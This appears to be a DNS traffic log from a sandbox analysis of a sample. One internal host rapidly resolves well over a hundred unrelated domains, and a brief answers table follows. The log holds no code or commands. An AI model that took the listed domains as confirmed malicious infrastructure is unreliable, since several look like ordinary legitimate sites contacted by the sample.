Jul 27, 2023 21:54:34.324951887 CEST	192.168.2.4	8.8.8.8	0xd895	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.386948109 CEST	192.168.2.4	8.8.8.8	0xfca7	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.462351084 CEST	192.168.2.4	8.8.8.8	0xb3c5	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.499653101 CEST	192.168.2.4	8.8.8.8	0x59a3	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.517812967 CEST	192.168.2.4	8.8.8.8	0x8d28	Standard query (0)	ldh.la.gov	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.610224009 CEST	192.168.2.4	8.8.8.8	0xb77f	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.652832031 CEST	192.168.2.4	8.8.8.8	0xa2e2	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.682375908 CEST	192.168.2.4	8.8.8.8	0xf0ea	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.760374069 CEST	192.168.2.4	8.8.8.8	0xb085	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.773689985 CEST	192.168.2.4	8.8.8.8	0xe5f	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.777421951 CEST	192.168.2.4	8.8.8.8	0x6e47	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.990581036 CEST	192.168.2.4	8.8.8.8	0x5354	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.008747101 CEST	192.168.2.4	8.8.8.8	0xf27d	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.057737112 CEST	192.168.2.4	8.8.8.8	0x7b34	Standard query (0)	webways.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.100693941 CEST	192.168.2.4	8.8.8.8	0x8ea7	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.134342909 CEST	192.168.2.4	8.8.8.8	0x313c	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.146140099 CEST	192.168.2.4	8.8.8.8	0xc9a9	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.227560997 CEST	192.168.2.4	8.8.8.8	0x8ce3	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.306240082 CEST	192.168.2.4	8.8.8.8	0x2cad	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.340238094 CEST	192.168.2.4	8.8.8.8	0x3c20	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.362109900 CEST	192.168.2.4	8.8.8.8	0x97e9	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.369779110 CEST	192.168.2.4	8.8.8.8	0x1b58	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.386898041 CEST	192.168.2.4	8.8.8.8	0xb4de	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.396619081 CEST	192.168.2.4	8.8.8.8	0xfca7	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.447279930 CEST	192.168.2.4	8.8.8.8	0x3f88	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.474246979 CEST	192.168.2.4	8.8.8.8	0x723e	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.481614113 CEST	192.168.2.4	8.8.8.8	0x27a4	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.494144917 CEST	192.168.2.4	8.8.8.8	0x8145	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.669238091 CEST	192.168.2.4	8.8.8.8	0x3457	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.705770969 CEST	192.168.2.4	8.8.8.8	0x4c8	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.713998079 CEST	192.168.2.4	8.8.8.8	0xb728	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.716419935 CEST	192.168.2.4	8.8.8.8	0xb661	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.731040955 CEST	192.168.2.4	8.8.8.8	0xed88	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.744299889 CEST	192.168.2.4	8.8.8.8	0xe531	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.773582935 CEST	192.168.2.4	8.8.8.8	0xb085	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.775727034 CEST	192.168.2.4	8.8.8.8	0x4c4d	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.787858009 CEST	192.168.2.4	8.8.8.8	0xe5f	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.810750008 CEST	192.168.2.4	8.8.8.8	0x2007	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.885488033 CEST	192.168.2.4	8.8.8.8	0x3084	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.919765949 CEST	192.168.2.4	8.8.8.8	0x7902	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.980107069 CEST	192.168.2.4	8.8.8.8	0x2172	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.015204906 CEST	192.168.2.4	8.8.8.8	0x7127	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.019409895 CEST	192.168.2.4	8.8.8.8	0x363	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.048474073 CEST	192.168.2.4	8.8.8.8	0xf500	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.116902113 CEST	192.168.2.4	8.8.8.8	0x5f2b	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.135023117 CEST	192.168.2.4	8.8.8.8	0x6cff	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.156541109 CEST	192.168.2.4	8.8.8.8	0xc9a9	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.255526066 CEST	192.168.2.4	8.8.8.8	0x96a1	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.389974117 CEST	192.168.2.4	8.8.8.8	0x41a1	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.428397894 CEST	192.168.2.4	8.8.8.8	0x84d8	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.446233034 CEST	192.168.2.4	8.8.8.8	0xc5d	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.472779989 CEST	192.168.2.4	8.8.8.8	0x2c5a	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.499979973 CEST	192.168.2.4	8.8.8.8	0x3afd	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.507117987 CEST	192.168.2.4	8.8.8.8	0xdb8d	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.524280071 CEST	192.168.2.4	8.8.8.8	0x2e30	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.559273958 CEST	192.168.2.4	8.8.8.8	0x57a0	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.565059900 CEST	192.168.2.4	8.8.8.8	0x2c8f	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.662662983 CEST	192.168.2.4	8.8.8.8	0xc404	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.713162899 CEST	192.168.2.4	8.8.8.8	0x96f1	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.770894051 CEST	192.168.2.4	8.8.8.8	0xb085	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.901329994 CEST	192.168.2.4	8.8.8.8	0x21e3	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.907324076 CEST	192.168.2.4	8.8.8.8	0x81cf	Standard query (0)	dataform.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.037719011 CEST	192.168.2.4	8.8.8.8	0x89d9	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.041769028 CEST	192.168.2.4	8.8.8.8	0x6c81	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.054028034 CEST	192.168.2.4	8.8.8.8	0xaf0d	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.196980953 CEST	192.168.2.4	8.8.8.8	0xad0f	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.275290012 CEST	192.168.2.4	8.8.8.8	0x96cc	Standard query (0)	midap.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.287843943 CEST	192.168.2.4	8.8.8.8	0xd9a4	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.291398048 CEST	192.168.2.4	8.8.8.8	0x2b03	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.334121943 CEST	192.168.2.4	8.8.8.8	0xab88	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.366957903 CEST	192.168.2.4	8.8.8.8	0x8543	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.367932081 CEST	192.168.2.4	8.8.8.8	0xe4c6	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.495459080 CEST	192.168.2.4	8.8.8.8	0xcd6f	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.524632931 CEST	192.168.2.4	8.8.8.8	0x64f2	Standard query (0)	hubbikes.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.526835918 CEST	192.168.2.4	8.8.8.8	0xb47f	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.545077085 CEST	192.168.2.4	8.8.8.8	0xe4c0	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.552259922 CEST	192.168.2.4	8.8.8.8	0x57a0	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.601607084 CEST	192.168.2.4	8.8.8.8	0xc252	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.685697079 CEST	192.168.2.4	8.8.8.8	0x854f	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.758863926 CEST	192.168.2.4	8.8.8.8	0xd636	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.805984020 CEST	192.168.2.4	8.8.8.8	0x57b	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.839361906 CEST	192.168.2.4	8.8.8.8	0x7dfa	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.855004072 CEST	192.168.2.4	8.8.8.8	0x5754	Standard query (0)	enguita.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.132205009 CEST	192.168.2.4	8.8.8.8	0x736f	Standard query (0)	sokuwan.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.134602070 CEST	192.168.2.4	8.8.8.8	0xdbd9	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.137634039 CEST	192.168.2.4	8.8.8.8	0xfee7	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.161555052 CEST	192.168.2.4	8.8.8.8	0xc9a9	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.346241951 CEST	192.168.2.4	8.8.8.8	0xdf95	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.389127016 CEST	192.168.2.4	8.8.8.8	0x92f8	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.405663013 CEST	192.168.2.4	8.8.8.8	0x77d9	Standard query (0)	apcotex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.417954922 CEST	192.168.2.4	8.8.8.8	0x1126	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.434782028 CEST	192.168.2.4	8.8.8.8	0xe138	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.465266943 CEST	192.168.2.4	8.8.8.8	0x33d1	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.501780987 CEST	192.168.2.4	8.8.8.8	0x29e3	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.541613102 CEST	192.168.2.4	8.8.8.8	0xc64	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.573815107 CEST	192.168.2.4	8.8.8.8	0x57a0	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.891715050 CEST	192.168.2.4	8.8.8.8	0xb085	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.893038988 CEST	192.168.2.4	8.8.8.8	0xaf86	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.934900999 CEST	192.168.2.4	8.8.8.8	0x6b62	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.007823944 CEST	192.168.2.4	8.8.8.8	0x32c1	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.008704901 CEST	192.168.2.4	8.8.8.8	0x904b	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.046204090 CEST	192.168.2.4	8.8.8.8	0x6f5b	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.084372997 CEST	192.168.2.4	8.8.8.8	0x185b	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.187011957 CEST	192.168.2.4	8.8.8.8	0x7fe8	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.271891117 CEST	192.168.2.4	8.8.8.8	0xaf4c	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.273180962 CEST	192.168.2.4	8.8.8.8	0xbd73	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.274342060 CEST	192.168.2.4	8.8.8.8	0x2d07	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.366281033 CEST	192.168.2.4	8.8.8.8	0x2b73	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.370007038 CEST	192.168.2.4	8.8.8.8	0x3e92	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.478729963 CEST	192.168.2.4	8.8.8.8	0x733e	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.517822027 CEST	192.168.2.4	8.8.8.8	0xd6c8	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.600085020 CEST	192.168.2.4	8.8.8.8	0x5982	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.660727978 CEST	192.168.2.4	8.8.8.8	0xdd02	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.778810024 CEST	192.168.2.4	8.8.8.8	0x530f	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.781094074 CEST	192.168.2.4	8.8.8.8	0x462a	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.783076048 CEST	192.168.2.4	8.8.8.8	0x9fda	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.789064884 CEST	192.168.2.4	8.8.8.8	0x7762	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.793452024 CEST	192.168.2.4	8.8.8.8	0x8896	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.928483009 CEST	192.168.2.4	8.8.8.8	0x8095	Standard query (0)	leapc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.931380033 CEST	192.168.2.4	8.8.8.8	0xff33	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.271040916 CEST	192.168.2.4	8.8.8.8	0x569	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.350204945 CEST	192.168.2.4	8.8.8.8	0x2633	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.421063900 CEST	192.168.2.4	8.8.8.8	0xcb7c	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.487627983 CEST	192.168.2.4	8.8.8.8	0x608b	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.670501947 CEST	192.168.2.4	8.8.8.8	0x11a1	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.819091082 CEST	192.168.2.4	8.8.8.8	0xf41b	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.833741903 CEST	192.168.2.4	8.8.8.8	0x568b	Standard query (0)	zemarmot.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.053711891 CEST	192.168.2.4	8.8.8.8	0xf379	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.055124998 CEST	192.168.2.4	8.8.8.8	0x76fe	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.055500984 CEST	192.168.2.4	8.8.8.8	0xd6c8	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.156244040 CEST	192.168.2.4	8.8.8.8	0x57a0	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.258507967 CEST	192.168.2.4	8.8.8.8	0x407d	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.878417969 CEST	192.168.2.4	8.8.8.8	0x7c17	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.935664892 CEST	192.168.2.4	8.8.8.8	0x868b	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.994102955 CEST	192.168.2.4	8.8.8.8	0x132f	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.049860001 CEST	192.168.2.4	8.8.8.8	0xc8e	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.132038116 CEST	192.168.2.4	8.8.8.8	0xd6c8	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.166953087 CEST	192.168.2.4	8.8.8.8	0x6711	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.173000097 CEST	192.168.2.4	8.8.8.8	0x442c	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.175996065 CEST	192.168.2.4	8.8.8.8	0xa9a0	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.246413946 CEST	192.168.2.4	8.8.8.8	0xf605	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.251486063 CEST	192.168.2.4	8.8.8.8	0x726	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.328963041 CEST	192.168.2.4	8.8.8.8	0x27a3	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.334553003 CEST	192.168.2.4	8.8.8.8	0x87	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.172882080 CEST	192.168.2.4	8.8.8.8	0x83cd	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.264020920 CEST	192.168.2.4	8.8.8.8	0xf40f	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.265479088 CEST	192.168.2.4	8.8.8.8	0xdcc2	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.343915939 CEST	192.168.2.4	8.8.8.8	0xf605	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.350236893 CEST	192.168.2.4	8.8.8.8	0x6277	Standard query (0)	atbauk.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.512631893 CEST	192.168.2.4	8.8.8.8	0x87	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.520088911 CEST	192.168.2.4	8.8.8.8	0x73e1	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.522562981 CEST	192.168.2.4	8.8.8.8	0x94	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.527101994 CEST	192.168.2.4	8.8.8.8	0x61d0	Standard query (0)	603888.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.566812992 CEST	192.168.2.4	8.8.8.8	0xf546	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.582663059 CEST	192.168.2.4	8.8.8.8	0xc78b	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.586402893 CEST	192.168.2.4	8.8.8.8	0x153	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.057380915 CEST	192.168.2.4	8.8.8.8	0xca4b	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.060022116 CEST	192.168.2.4	8.8.8.8	0x4a10	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.147586107 CEST	192.168.2.4	8.8.8.8	0xd6c8	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.199335098 CEST	192.168.2.4	8.8.8.8	0xab3	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.244406939 CEST	192.168.2.4	8.8.8.8	0xbf78	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.333986998 CEST	192.168.2.4	8.8.8.8	0xf605	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.482516050 CEST	192.168.2.4	8.8.8.8	0x285d	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.521567106 CEST	192.168.2.4	8.8.8.8	0x87	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.534861088 CEST	192.168.2.4	8.8.8.8	0xd933	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.541466951 CEST	192.168.2.4	8.8.8.8	0x7155	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.573743105 CEST	192.168.2.4	8.8.8.8	0xec04	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.666738033 CEST	192.168.2.4	8.8.8.8	0x6897	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.719034910 CEST	192.168.2.4	8.8.8.8	0xbd48	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.793554068 CEST	192.168.2.4	8.8.8.8	0xbed0	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.963709116 CEST	192.168.2.4	8.8.8.8	0x2342	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.965442896 CEST	192.168.2.4	8.8.8.8	0x4756	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.989257097 CEST	192.168.2.4	8.8.8.8	0x366b	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.995930910 CEST	192.168.2.4	8.8.8.8	0xee3f	Standard query (0)	ftmobile.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.315027952 CEST	192.168.2.4	8.8.8.8	0xac02	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.385556936 CEST	192.168.2.4	8.8.8.8	0xd046	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.450711012 CEST	192.168.2.4	8.8.8.8	0xb597	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.521599054 CEST	192.168.2.4	8.8.8.8	0xd933	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.639231920 CEST	192.168.2.4	8.8.8.8	0x4e08	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.750298023 CEST	192.168.2.4	8.8.8.8	0x463f	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.776829004 CEST	192.168.2.4	8.8.8.8	0xc192	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.942625046 CEST	192.168.2.4	8.8.8.8	0xaecd	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.090096951 CEST	192.168.2.4	8.8.8.8	0x7da7	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.197652102 CEST	192.168.2.4	8.8.8.8	0x1680	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.228840113 CEST	192.168.2.4	8.8.8.8	0xe737	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.244219065 CEST	192.168.2.4	8.8.8.8	0x7f7	Standard query (0)	msl-lock.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.262139082 CEST	192.168.2.4	8.8.8.8	0xd94f	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.349802971 CEST	192.168.2.4	8.8.8.8	0xf605	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2023 21:52:20.089019060 CEST	8.8.8.8	192.168.2.4	0xa07a	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:20.089019060 CEST	8.8.8.8	192.168.2.4	0xa07a	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
